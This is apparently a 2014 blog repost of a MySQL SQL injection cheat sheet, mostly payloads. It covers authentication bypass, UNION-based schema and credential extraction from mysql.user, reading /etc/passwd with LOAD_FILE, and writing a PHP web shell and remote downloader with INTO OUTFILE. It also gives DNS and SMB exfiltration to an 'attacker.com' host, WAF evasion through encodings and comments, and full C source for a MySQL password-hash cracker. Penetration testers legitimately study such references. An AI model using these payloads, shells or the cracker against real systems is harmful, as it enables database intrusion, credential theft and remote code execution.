SQL Injection 字典 - MYSQL

http://websec.ca/kb/sql_injection#MySQL_Password_Cracking

MySQL

Default Databases

mysql Requires root privileges
information_schema Availalble from version 5 and higher

Testing Injection

False means the query is invalid (MySQL errors/missing content on website)

True means the query is valid (content is displayed as usual)

Given the query SELECT * FROM Table WHERE username = '';

' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
'='
'LIKE'
'=0--+

Example:
  • SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';

Comment Out Query

The following can be used to comment out the rest of the query after your injection:

# Hash comment
/* C-style comment
-- - SQL comment
;%00 Nullbyte
` Backtick


Examples:

      • SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
      • SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';

Note:

  • The backtick can only be used to end a query when used as an alias.

 

Testing Version

  • VERSION()
  • @@VERSION
  • @@GLOBAL.VERSION

Example:
  • SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';

Note:

  • Output will contain -nt-log in case the DBMS runs on a Windows based machine.

 

Database Credentials

Table mysql.user
Columns user, password
Current User user(), current_user(), current_user, system_user(), session_user()


Examples:

      • SELECT current_user;
      • SELECT CONCAT_WS(0x3A, userpassword) FROM mysql.user WHERE user = 'root'-- (Privileged)

Database Names

Tables information_schema.schemata, mysql.db
Columns schema_name, db
Current DB database(), schema()


Examples:

      • SELECT database();
      • SELECT schema_name FROM information_schema.schemata;
      • SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)

Server Hostname

      • @@HOSTNAME


Example:

      • SELECT @@hostname;

Server MAC Address

The Universally Unique Identifier is a 128-bit number where the last 12 digits are formed from the interfaces MAC address.

      • UUID()


Output:

      • aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee;

Note:

  • May return a 48-bit random string instead of the MAC address on some Operating Systems.

 

Tables and Columns

Determining number of columns

GROUP/ORDER BY n+1;

Notes:

  • Keep incrementing the number until you get a False response.
  • Even though GROUP BY and ORDER BY have different funcionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.

 


Example:

Given the query SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}';

1' ORDER BY 1--+ True
1' ORDER BY 2--+ True
1' ORDER BY 3--+ True
1' ORDER BY 4--+ False - Query is only using 3 columns
-1' UNION SELECT 1,2,3--+ True

Retrieving Tables

UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;

Note:

  • version=10 for MySQL 5

 

Retrieving Columns

UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'

Retrieving Multiple Tables/Columns at once

      • SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x


Example:

      • SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';


Output:

[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED
						

 

      • SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns


Example:

      • SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns--+';


Output:

Table: talk_revisions
Column: revid

Table: talk_revisions
Column: userid

Table: talk_revisions
Column: user

Table: talk_projects
Column: priority
					

Find Tables from Column Name

SELECT table_name FROM information_schema.columns WHERE column_name = 'username'; Finds the table names for any columns named username.
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%'; Finds the table names for any columns that contain the word user.

Find Columns from Table Name

SELECT column_name FROM information_schema.columns WHERE table_name = 'Users'; Finds the columns for the Users table.
SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%'; Finds the column names for any tables that contain the word user.

Find out current query

SELECT info FROM information_schema.processlist Available starting from MySQL 5.1.7.

Avoiding the use of quotations

SELECT * FROM Users WHERE username = 0x61646D696E Hex encoding.
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) CHAR() Function.

String Concatenation

SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

Notes:

  • CONCAT() will return NULL if any of its arguements is NULL. Instead use CONCAT_WS().
  • The first argument of CONCAT_WS() defines the separator for the rest of its arguments.

 

Conditional Statements

CASE
IF()
IFNULL()
NULLIF()


Examples:

      • SELECT IF(1=1, true, false);
      • SELECT CASE WHEN 1=1 THEN true ELSE false END;

Timing

SLEEP() MySQL 5
BENCHMARK() MySQL 4/5


Example:

      • ' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

Privileges

File Privileges

The following queries can help determine the FILE privileges for a given user.

SELECT file_priv FROM mysql.user WHERE user = 'username'; Root privileges required MySQL 4/5
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'; No privileges required MySQL 5

Reading Files

Files can be read if the user has FILE privileges.

      • LOAD_FILE()


Examples:

      • SELECT LOAD_FILE('/etc/passwd');
      • SELECT LOAD_FILE(0x2F6574632F706173737764);

Notes:

  • File must be located on the server host.
  • The basedirectory for LOAD_FILE() is @@datadir .
  • The file must be readable by the MySQL user.
  • The file size must be less than max_allowed_packet.
  • The default size for @@max_allowed_packet is 1047552 bytes.

 

Writing Files

Files can be created if the user has FILE privileges.

      • INTO OUTFILE/DUMPFILE


Examples:

      • To write a PHP shell:
      • SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

 

      • and then access it at:
      • http://localhost/shell.php?c=cat%20/etc/passwd
      • To write a downloader:
      • SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'

 

      • and then access it at:
      • http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt

Notes:

  • Files cannot be overwritten with INTO OUTFILE .
  • INTO OUTFILE must be the last statement in the query.
  • There is no way to encode the pathname, so quotes are required.

 

Out Of Band Channeling

DNS Requests

SELECT LOAD_FILE(CONCAT('\\\\foo.',(select MID(version(),1,1)),'.attacker.com\\'));

SMB Requests

' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt

Stacked Queries

Stacked queries are possible with MySQL depending on which driver is being used by the PHP application to communicate with the database.

The PDO_MYSQL driver supports stacked queries. The MySQLi (Improved Extension) driver also supports stacked queries through the multi_query() function.


Examples:

      • SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username, password, priv) VALUES ('BobbyTables', 'kl20da$$','admin');
      • SELECT * FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS FROM Users;

MySQL-specific code

MySQL allows you to specify the version number after the exclamation mark. The syntax within the comment is only executed if the version is greater or equal to the specified version number.


Examples:

      • UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+
      • SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);

Notes:

  • The first example returns the version; it uses a UNION with 2 columns.
  • The second example demonstrates how this can be useful for bypassing a WAF/IDS.

 

Fuzzing and Obfuscation

Allowed Intermediary Characters

The following characters can be used as whitespaces.

09 Horizontal Tab
0A New Line
0B Vertical Tab
0C New Page
0D Carriage Return
A0 Non-breaking Space
20 Space


Example:

      • '%0A%09UNION%0CSELECT%A0NULL%20%23

 

Parentheses can also be used to avoid the use of spaces.

28 (
29 )


Example:

      • UNION(SELECT(column)FROM(table))

Allowed Intermediary Characters after AND/OR

20 Space
2B +
2D -
7E ~
21 !
40 @


Example:

      • SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))

Note:

  • dual is a dummy table which can be used for testing.

 

Obfuscating with Comments

Comments can be used to break up the query to trick the WAF/IDS and avoid detection. By using # or -- followed by a newline, we can split the query into separate lines.

Example:

      • 1'# 
        AND 0-- 
        UNION# I am a comment! 
        SELECT@tmp:=table_name x FROM-- 
        `information_schema`.tables LIMIT 1# 

URL Encoded the injection would look like:

      • 1'%23%0AAND 0--%0AUNION%23 I am a comment!%0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tables LIMIT 1%23

Certain functions can also be obfuscated with comments and whitespaces.

      • VERSION/**/%A0 (/*comment*/)

Encodings

Encoding your injection can sometimes be useful for WAF/IDS evasion.

URL Encoding SELECT %74able_%6eame FROM information_schema.tables;
Double URL Encoding SELECT %2574able_%256eame FROM information_schema.tables;
Unicode Encoding SELECT %u0074able_%u6eame FROM information_schema.tables;
Invalid Hex Encoding (ASP) SELECT %tab%le_%na%me FROM information_schema.tables;

Avoiding Keywords

If an IDS/WAF has blocked certain keywords, there are other ways of getting around it without using encodings.

      • information_schema.tables
Spaces information_schema . tables
Backticks `information_schema`.`tables`
Specific Code /*!information_schema.tables*/
Alternative Names information_schema.partitions 
information_schema.statistics 
information_schema.key_column_usage 
information_schema.table_constraints

Note:

  • The alternate names may depend on a PRIMARY Key being present in the table.

 

Operators

AND && Logical AND
= Assign a value (as part of a SET statement, or as part of the SET clause in an UPDATE statement)
:= Assign a value
BETWEEN ... AND ... Check whether a value is within a range of values
BINARY Cast a string to a binary string
& Bitwise AND
~ Invert bits
| Bitwise OR
^ Bitwise XOR
CASE Case operator
DIV Integer division
/ Division operator
<=> NULL-safe equal to operator
= Equal operator
>= Greater than or equal operator
> Greater than operator
IS NOT NULL NOT NULL value test
IS NOT Test a value against a boolean
IS NULL NULL value test
IS Test a value against a boolean
<< Left shift
<= Less than or equal operator
< Less than operator
LIKE Simple pattern matching
- Minus operator
% or MOD Modulo operator
NOT BETWEEN ... AND ... Check whether a value is not within a range of values
!= <> Not equal operator
NOT LIKE Negation of simple pattern matching
NOT REGEXP Negation of REGEXP
NOT ! Negates value
|| OR Logical OR
+ Addition operator
REGEXP Pattern matching using regular expressions
>> Right shift
RLIKE Synonym for REGEXP
SOUNDS LIKE Compare sounds
* Multiplication operator
- Change the sign of the argument
XOR Logical XOR

Constants

current_user
null, \N
true, false

Password Hashing

Prior to MySQL 4.1, password hashes computed by the PASSWORD() function are 16 bytes long. Such hashes look like this:

PASSWORD('mypass') 6f8c114b58f2ce9e

As of MySQL 4.1, the PASSWORD() function has been modified to produce a longer 41-byte hash value:

PASSWORD('mypass') *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4

Password Cracking

Cain & Abel and John the Ripper are both capable of cracking MySQL 3.x-6.x passwords.

A Metasploit module for JTR can be found here.

MySQL < 4.1 Password Cracker

This tool is a high-speed brute-force password cracker for MySQL hashed passwords. It can break an 8-character password containing any printable ASCII characters in a matter of hours on an ordinary PC.

/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast
* $ MySQLfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/

#include <stdio.h>

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
  int i, c;
  u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
  u32 newstate1, newstate2, newstate3;
  u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
  u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
  i = -1;
  sum = 7;
  state1_ary[0] = 1345345333L;
  state2_ary[0] = 0x12345671L;

  while (1) {
    while (i < stop) {
      i++;
      pass_ary[i] = MIN_CHAR;
      step_ary[i] = (state1_ary[i] & 0x3f) + sum;
      xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
      sum += MIN_CHAR;
      state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
      state2_ary[i+1] = state2_ary[i]
        + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
    }

    state1 = state1_ary[i+1];
    state2 = state2_ary[i+1];
    step = (state1 & 0x3f) + sum;
    xor1 = step*MIN_CHAR + (state1 << 8);
    xor2 = (state2 << 8) ^ state1;

    for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
      newstate2 = state2 + (xor1 ^ xor2);
      newstate1 = state1 ^ xor1;

      newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
      div = (newstate1 & 0x3f) + sum + c;
      diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
      if (diff % div != 0) continue;
      d = diff / div;
      if (d < MIN_CHAR || d > MAX_CHAR) continue;

      div = (newstate3 & 0x3f) + sum + c + d;
      diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
      if (diff % div != 0) continue;
      e = diff / div;
      if (e < MIN_CHAR || e > MAX_CHAR) continue;

      pass_ary[i+1] = c;
      pass_ary[i+2] = d;
      pass_ary[i+3] = e;
      return 1;
    }

    while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
      sum -= MAX_CHAR;
      i--;
    }
    if (i < 0) break;
    pass_ary[i]++;
    xor_ary[i] += step_ary[i];
    sum++;
    state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
    state2_ary[i+1] = state2_ary[i]
      + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
  }

  return 0;
}

void crack(char *hash)
{
  int i, len;
  u32 targ1, targ2, targ3;
  int pass[MAX_LEN];

  if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
    printf("Invalid password hash: %s\n", hash);
    return;
  }
  printf("Hash: %08lx%08lx\n", targ1, targ2);
  targ3 = targ2 - targ1;
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);

  for (len = 3; len <= MAX_LEN; len++) {
    printf("Trying length %d\n", len);
    if ( crack0(len-4, targ1, targ3, pass) ) {
      printf("Found pass: ");
      for (i = 0; i < len; i++)
        putchar(pass[i]);
      putchar('\n');
      break;
    }
  }
  if (len > MAX_LEN)
    printf("Pass not found\n");
}

int main(int argc, char *argv[])
{
  int i;
  if (argc <= 1)
    printf("usage: %s hash\n", argv[0]);
  for (i = 1; i < argc; i++)
    crack(argv[i]);
  return 0;
}
				
posted @ 2014-07-18 20:52  w_s_xin  阅读(530)  评论(0编辑  收藏  举报